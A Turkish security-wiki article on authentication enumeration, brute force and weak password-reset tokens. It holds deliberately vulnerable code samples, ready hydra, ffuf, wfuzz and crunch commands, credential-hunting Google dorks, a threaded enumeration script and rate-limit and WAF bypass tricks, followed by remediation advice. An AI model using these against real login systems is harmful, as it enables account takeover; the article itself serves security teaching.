Authentication Enumeration & Brute Force Operations
> Yazar: Emre Ermenek
Modern web uygulamalarında ve ağ altyapılarında kimlik doğrulama mekanizmaları, güvenliğin temel köşe taşını oluşturur. Kimlik Doğrulama Numaralandırma (Authentication Enumeration) ve Brute Force (Kaba Kuvvet) saldırıları, Red Team operasyonlarında hedef sistemin yetkilendirme mimarisini haritalamak, zayıf parolaları kırmak ve sıfırlama mekanizmalarındaki kriptografik veya mantıksal hataları istismar etmek için kullanılan en kritik safhalardır. Bu saldırılar, sadece yüzeysel bir deneme-yanılma süreci değil; HTTP protokolü, sunucu bellek yönetimi (Memory Management), Abstract Syntax Tree (AST) işlem süreleri ve Pseudo-Random Number Generator (PRNG) çekirdek (seed) zaafiyetlerinin birleştiği derin bir teknik analiz sürecidir.
How It Works (Teknik Analiz)
Kimlik doğrulama numaralandırmasının kök nedeni, sistemin deterministik yapısı gereği farklı durumlara farklı tepkiler (Response Differences) vermesidir. Bu tepkiler; DOM (Document Object Model) ağacındaki yapısal değişiklikler, dönen HTTP Content-Length boyutları, HTTP Status Code farklılıkları veya en tehlikelisi olan sunucu yanıt sürelerindeki (Response Time) milisaniyelik gecikmeler olabilir.
- Response-Based (Yanıt Tabanlı) Sızıntılar: Uygulama, kullanıcının veritabanında var olup olmadığına göre farklı Exception (İstisna) sınıfları fırlatır. "UserNotFoundException" ile "InvalidPasswordException" hataları, front-end'e farklı mesajlar, farklı HTTP başlıkları veya farklı DOM elementleri olarak yansır.
- Time-Based (Zaman Tabanlı) Sızıntılar: Bir giriş denemesinde, sunucu önce kullanıcının veritabanında (B-Tree veya Hash Index) var olup olmadığını sorgular. Kullanıcı yoksa işlem hemen sonlanır (Early Exit). Kullanıcı varsa, sunucu girilen parolayı alır ve bcrypt, Argon2 veya PBKDF2 gibi yoğun CPU (CPU-bound) tüketen hashing algoritmalarından geçirir. Kullanıcı olan ve olmayan sorgular arasındaki bu CPU döngü (cycle) farkı, saldırgana kullanıcının sistemde var olduğunu kanıtlar.
- PRNG State (Kriptografik Olmayan Rastgelelik) Zafiyeti: Parola sıfırlama işlemlerinde üretilen token'lar, donanım destekli bir CSPRNG (Cryptographically Secure Pseudo-Random Number Generator) yerine, işlemci saatine (CPU clock) veya basit bir matematiksel formüle (
mt_rand(),rand()) dayalı ise, bellekteki "seed" (çekirdek) değeri tahmin edilebilir. Bu durum, AST seviyesinde token'ın deterministik bir sayı dizisine dönüşmesi anlamına gelir. - Protocol Level (RFC 7617) Zafiyetleri: HTTP Basic Authentication mekanizması şifreleme sunmaz, sadece Base64 Encoding kullanır. RFC 7617 spesifikasyonu gereği, kimlik bilgileri bellekte açık metin olarak
Authorization: Basic <base64_string>formatında taşınır. Bu durum, Man-in-the-Middle (MitM) veya yetersiz kilitlenme (lockout) mekanizmalarında doğrudan Brute Force'a açıktır.
Vulnerable Code Patterns
1. PHP: Predictable PRNG (Zayıf Parola Sıfırlama Token'ı)
Aşağıdaki kod, kriptografik açıdan güvensiz olan mt_rand() fonksiyonunu kullanarak parola sıfırlama token'ı üretmektedir.
<?php
// VULNERABLE: mt_rand() Mersenne Twister algoritmasını kullanır ve seed değeri tahmin edilebilir.
$email = $_POST['email'];
$token = mt_rand(100, 999); // Sadece 3 haneli ve lineer olarak kırılabilir bir token.
// Token veritabanına kaydedilir
$stmt = $pdo->prepare("UPDATE users SET reset_token = ? WHERE email = ?");
$stmt->execute([$token, $email]);
// Saldırgan, 100'den 999'a kadar olan token'ları Intruder üzerinden saniyeler içinde brute-force edebilir.
?>
2. Python (Flask/Django): Time-Based User Enumeration (Zaman Tabanlı Numaralandırma) Bu senaryoda, uygulama kullanıcının veritabanında var olup olmadığına göre CPU işlem süresini değiştirir.
@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
# VULNERABLE: Kullanıcı veritabanında yoksa fonksiyon hemen 'None' döner (1-2 ms).
user = User.query.filter_by(username=username).first()
if not user:
# Hızlı yanıt döner, saldırgan kullanıcının var olmadığını anlar.
return jsonify({"error": "Invalid credentials"}), 401
# Kullanıcı varsa, bcrypt çok fazla CPU cycle tüketir (örneğin 300-500 ms).
# Bu zaman farkı (Timing Leak), geçerli kullanıcıları tespit etmek için kullanılır.
if bcrypt.check_password_hash(user.password_hash, password):
return jsonify({"success": "Logged in"}), 200
else:
return jsonify({"error": "Invalid credentials"}), 401
3. Java (Spring): Verbose Error Handling (Detaylı Hata İfşası) Farklı Exception türlerinin yakalanarak istemciye yansıtılması.
@PostMapping("/login")
public ResponseEntity<?> authenticateUser(@RequestBody LoginRequest loginRequest) {
try {
Authentication authentication = authenticationManager.authenticate(
new UsernamePasswordAuthenticationToken(loginRequest.getUsername(), loginRequest.getPassword())
);
// ... success logic ...
} catch (UsernameNotFoundException e) {
// VULNERABLE: Kullanıcının var olmadığını açıkça belirtir.
return ResponseEntity.status(HttpStatus.UNAUTHORIZED).body("User does not exist.");
} catch (BadCredentialsException e) {
// VULNERABLE: Kullanıcının var olduğunu ancak parolanın yanlış olduğunu belirtir.
return ResponseEntity.status(HttpStatus.UNAUTHORIZED).body("Invalid password.");
}
}
Detection & Enumeration (Keşif ve Analiz)
Keşif aşamasında saldırgan, uygulamanın sınırlarındaki (edge) tepkileri ölçer. Amaç, brute force işlemi için hedef daraltmak ve WAF (Web Application Firewall) veya IDS/IPS (Intrusion Detection System) mekanizmalarını tetiklemeden geçerli kullanıcıları toplamaktır.
- Response Length Analysis (Yanıt Boyutu Analizi): Doğru ve yanlış kullanıcı adı/e-posta girişlerinde HTTP Content-Length değerlerinin izlenmesi. Burp Suite Intruder veya Ffuf ile dönen yanıtların bayt boyutları karşılaştırılır.
- Timing Analysis (Zamanlama Analizi): İki farklı kelime listesi (rastgele olmayan, kesinlikle sistemde bulunmayan kullanıcılar ve potansiyel kullanıcılar) kullanılarak ortalama HTTP Response Time (Yanıt Süresi) ölçülür. Anormal derecede geciken (örn. 50ms yerine 500ms süren) yanıtlar, arka planda parola Hash'leme algoritmasının tetiklendiğini, dolayısıyla kullanıcının geçerli olduğunu gösterir.
- DOM/JSON Differences: "Giriş Başarısız" mesajları aynı görünse bile, API üzerinden dönen JSON nesnelerinde fazladan bir anahtar (örn:
{"status":"error", "code": 102}) veya DOM tree içerisinde farklı bir CSS class'ı (<div class="error-user">vs<div class="error-pass">) numaralandırma zafiyetini ele verir.
Attack Vectors & Exploitation (İstismar Vektörleri)
Response-Based User Enumeration (Yanıt Tabanlı Kullanıcı Numaralandırma)
Kayıt (Registration), Şifremi Unuttum (Forgot Password) ve Giriş (Login) formlarında sistemin verdiği Verbose (Ayrıntılı) hataların istismar edilmesidir. "Bu e-posta zaten kayıtlı", "E-posta bulunamadı" veya "Şifre yanlış" gibi net dönütler, saldırganın elindeki milyonlarca satırlık veritabanını (Credential Stuffing listeleri) süzmesine olanak tanır.
Time-Based User Enumeration (Zaman Tabanlı Kullanıcı Numaralandırma)
Eğer sistem statik hata mesajları kullanıyorsa (örn: tüm durumlarda "Kullanıcı adı veya şifre yanlış"), saldırgan zaman farklarına odaklanır. Sunucuya aynı anda yüzlerce istek gönderilir ve yanıt süresi ölçülür. Bcrypt veya PBKDF2 hash fonksiyonlarının "work factor" (çalışma faktörü) değerine bağlı olarak, geçerli kullanıcı sorguları, geçersiz olanlara kıyasla çok daha uzun sürede yanıt verir.
Predictable Tokens / Insecure PRNG in Password Reset (Tahmin Edilebilir Sıfırlama Token'ları)
Sistem, kullanıcının parolasını sıfırlamak için gönderilen linkte veya SMS ile iletilen OTP (One Time Password) kodunda yetersiz entropiye sahip bir token üretiyorsa, saldırgan bu token'ı brute force ile tahmin edebilir. Özellikle 4 veya 6 haneli sadece rakamlardan oluşan (000000 - 999999) ve Rate Limiting (Hız Sınırlandırması) barındırmayan sıfırlama mekanizmaları tamamen kırılgandır.
HTTP Basic Authentication Brute Force (RFC 7617 İstismarı)
Yönlendiriciler (Routers), IoT cihazları, Tomcat Manager veya Jenkins gibi yönetim arayüzleri genellikle HTTP Basic Auth kullanır. Authorization başlığındaki Basic <base64(user:pass)> değeri her istekte yeniden gönderildiği için, oturum (session) yönetimi gerektirmez ve doğrudan paralel dictionary attacks (sözlük saldırıları) için mükemmel bir hedeftir.
OSINT & Credential Stuffing (Açık Kaynak İstihbaratı ve Sızıntı Veri Kullanımı)
Hedef kuruma yönelik çalışanların e-posta adresleri (LinkedIn vb. üzerinden) toplanır. Ardından, daha önceki global veri sızıntılarından (Collection #1, COMB) elde edilen parolalar ile eşleştirilir. Ayrıca Wayback Machine ve Google Dorks kullanılarak kurumun dışa açık unutulmuş yönetim panelleri (admin panels), .env dosyaları veya parola barındıran hata logları (log files) aranır.
Payloads & Advanced Commands
Enumeration & Fuzzing Commands (Kullanıcı Tespiti)
Geçerli kullanıcıları tespit etmek için Ffuf ve Wfuzz gibi modern fuzzer araçlarının kullanımı:
# Ffuf ile HTTP POST üzerinden kullanıcı numaralandırma (Yanıt boyutuna göre filtreleme - Content Length)
ffuf -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt -X POST -d "username=FUZZ&password=WrongPassword1!" -H "Content-Type: application/x-www-form-urlencoded" -u http://target.thm/login -fr "User not found"
# Wfuzz ile JSON tabanlı API'de kullanıcı numaralandırma
wfuzz -c -z file,/opt/wordlists/usernames.txt -H "Content-Type: application/json" -d '{"email":"FUZZ","password":"bla"}' --hc 401,403 http://api.target.thm/v1/authenticate
Password Reset Token Generation (Crunch ile Wordlist Üretimi)
Tahmin edilebilir token'lar için spesifik wordlist üretimi:
# 3 haneli, sadece rakamlardan oluşan ve 100 ile 200 arasında değer üreten sözlük (Crunch)
crunch 3 3 -t %%% -s 100 -e 200 -o otp_tokens.txt
# 6 haneli standart OTP kodları için sözlük üretimi (000000 - 999999)
crunch 6 6 0123456789 -o 6digit_otp.txt
# Rakam ve büyük harf içeren karmaşık 5 haneli token listesi
crunch 5 5 -t ,@@%% -o custom_tokens.txt
HTTP Basic Authentication Brute Force Commands
Basic Auth zafiyetini istismar etmek için kullanılan paralel tarama komutları:
# Hydra ile Basic Auth Brute Force (Tek kullanıcı, Parola listesi)
hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 80 -f target.thm http-get /admin
# Hydra ile farklı bir porta sahip servis üzerinde Brute Force
hydra -C /opt/wordlists/credentials.txt target.thm -s 8080 http-get /manager/html
# Nmap http-brute NSE betiği ile Basic Auth saldırısı
nmap -p 80 --script http-brute --script-args http-brute.path=/admin,userdb=users.txt,passdb=passwords.txt target.thm
OSINT & Dorking Payloads (Google Dorks & Wayback)
Hedef sistemin geçmişteki zafiyetli hallerini ve ifşa olan log dosyalarını bulmak için:
# Waybackurls ile bir alan adının arşivlenmiş tüm bağlantılarını çekme
echo "target.com" | waybackurls > target_archive.txt
# Hassas dosyaları filtreleme (JSON, Log, Env)
cat target_archive.txt | grep -E "\.json|\.log|\.env|\.sql|\.bak"
Advanced Google Dorks:
- Yönetici Paneli Keşfi:
site:target.com inurl:admin | inurl:login | inurl:dashboard - Hassas Log İfşası:
site:target.com ext:log | ext:txt "password" | "pwd" | "credentials" - Açık Dizinler (Directory Listing):
site:target.com intitle:"index of" "backup" | "db" - Açıkta kalan yapılandırma dosyaları:
site:target.com ext:env | ext:config | ext:yml "DB_PASSWORD"
Custom Python Exploit Scripts
Gelişmiş, multithreading destekli zaman tabanlı ve yanıt tabanlı Enumeration script'i:
import requests
import concurrent.futures
import time
TARGET_URL = 'http://target.thm/api/login'
WORDLIST = 'usernames.txt'
def check_user(username):
username = username.strip()
headers = {'Content-Type': 'application/json'}
payload = {'email': username, 'password': 'RandomLongPasswordToTriggerBcrypt'}
start_time = time.time()
try:
response = requests.post(TARGET_URL, json=payload, headers=headers, timeout=5)
end_time = time.time()
elapsed_time = end_time - start_time
# Yanıt kontrolü (Verbose Error)
if "Email does not exist" not in response.text:
print(f"[+] VALID (Response): {username}")
# Zamanlama kontrolü (Time-based leak - eğer 0.3 saniyeden uzun sürdüyse Bcrypt çalışmıştır)
elif elapsed_time > 0.3:
print(f"[+] VALID (Time-Based) [{elapsed_time:.2f}s] : {username}")
except requests.exceptions.RequestException:
pass
with open(WORDLIST, 'r') as file:
users = file.readlines()
# Eşzamanlı (Concurrent) istekler ile hızı artırma
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
executor.map(check_user, users)
Bypass & Obfuscation (Atlatma Teknikleri)
Savunma mekanizmalarını (WAF, IDS, IPS, Rate Limiting) atlatmak için kullanılan Red Team teknikleri:
- IP Rotation & Headers Spoofing (IP Döndürme ve Başlık Sahteciliği): Rate limiting (hız sınırlandırması) genellikle İstemci IP adresine göre yapılır. Her istekte HTTP başlıklarının dinamik olarak değiştirilmesi WAF'ı yanıltabilir.
X-Forwarded-For: 192.168.1.X(Her istekte randomize edilir)X-Originating-IP: 10.0.0.XClient-IP: 172.16.0.X
- Timing Jitter (Zamanlama Gecikmesi): IDS/IPS sistemleri saniyede yapılan istek sayısını analiz eder. İstekler arasına rastgele gecikmeler (örneğin 0.5 ms ile 2.1 ms arası) ekleyerek saldırının otomatize bir araçtan değil, insandan geldiği simüle edilir.
- Case Manipulation (Büyük/Küçük Harf Manipülasyonu): E-posta adresleri genellikle case-insensitive (büyük/küçük harfe duyarsız) olarak işlenir. Ancak bazı WAF'lar arka arkaya gelen aynı e-posta adresini engeller.
admin@test.com,Admin@test.com,aDmin@test.comgibi varyasyonlar kullanarak bloklamalar aşılabilir. - Encoding Techniques: Basic Auth kaba kuvvet saldırılarında, bazı IDS sistemleri Base64 dizesi içindeki "admin" pattern'ini tespit eder. Karakter sonlarına boşluk ekleme, URL Encoding ile Base64'ü birleştirme gibi yöntemlerle tespit engellenebilir.
Remediation & Prevention (Önleme ve Savunma)
Bu zafiyetlerin kalıcı olarak kapatılması (Mitigation) için Blue Team ve geliştiriciler tarafından uygulanması gereken mimari adımlar:
- Generic Error Messages (Genel Hata Mesajları): Sistem, kullanıcının var olup olmadığına bakılmaksızın tüm hatalı giriş denemelerinde AYNI hata mesajını (örneğin: "Kullanıcı adı veya parola hatalı") ve AYNI HTTP Status Code'u dönmelidir.
- Constant-Time String Comparison (Sabit Zamanlı Karşılaştırma): Zaman tabanlı numaralandırmayı engellemek için, giriş yapılan kullanıcı adı veritabanında olmasa bile, sahte bir (dummy) hash hesaplaması yapılarak sunucu yanıt süresinin her koşulda aynı olması (örneğin ortalama 350ms) sağlanmalıdır.
- Cryptographically Secure Tokens (Güvenli Token Üretimi): Parola sıfırlama işlemlerinde
rand(),mt_rand()veya zaman bazlı fonksiyonlar kesinlikle KULLANILMAMALIDIR. Bunun yerinerandom_bytes()(PHP),secrets.token_urlsafe()(Python) veyaSecureRandom(Java) gibi CSPRNG tabanlı modüller kullanılmalıdır. Ayrıca token'lar tek kullanımlık olmalı ve kısa bir süre (örn: 15 dakika) içinde expire (zaman aşımı) olmalıdır. - Rate Limiting & Account Lockout (Hız Sınırlandırması ve Hesap Kilitleme): Belirli bir IP adresinden veya belirli bir hesaba yönelik başarısız denemeler sınırlandırılmalıdır (Örn: 5 başarısız denemede 30 dakika kilitlenme).
- Multi-Factor Authentication (MFA): Basic Auth dahil olmak üzere tüm kritik giriş noktalarında sadece parolaya güvenilmemeli, MFA/2FA mekanizmaları zorunlu kılınmalıdır.
Common Tools & Frameworks
| Araç | Fonksiyon | Komut Örneği |
|---|---|---|
| Hydra | Çoklu protokol destekli paralel login cracker | hydra -l user -P pass.txt ftp://192.168.1.1 |
| Ffuf | Web fuzzer, hızlı dizin ve parametre numaralandırma | ffuf -w users.txt -u http://target/login -d "user=FUZZ" |
| Crunch | İstenilen kurallara ve karakter setine göre wordlist üretimi | crunch 4 4 0123456789 -o pins.txt |
| Waybackurls | Hedefin İnternet Arşivi (Archive.org) üzerinden geçmiş loglarını çekme | echo "target.com" | waybackurls > links.txt |
| Wfuzz | Web uygulamaları için payload enjeksiyonu ve brute force fuzzer | wfuzz -z file,wordlist.txt -d "id=FUZZ" http://target/api |
| Burp Suite Intruder | Proxy tabanlı özelleştirilebilir kaba kuvvet ve fuzzing modülü | Arayüz üzerinden (Sniper, Battering Ram, Pitchfork) |
| Netexec (CrackMapExec) | Ağ ve Active Directory ortamlarında Credential Stuffing / Enum | nxc smb 10.0.0.0/24 -u users.txt -p pass.txt |
Yazar: Emre Ermenek · AltaySec Wiki — Türkçe güvenlik playbook'u.
← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv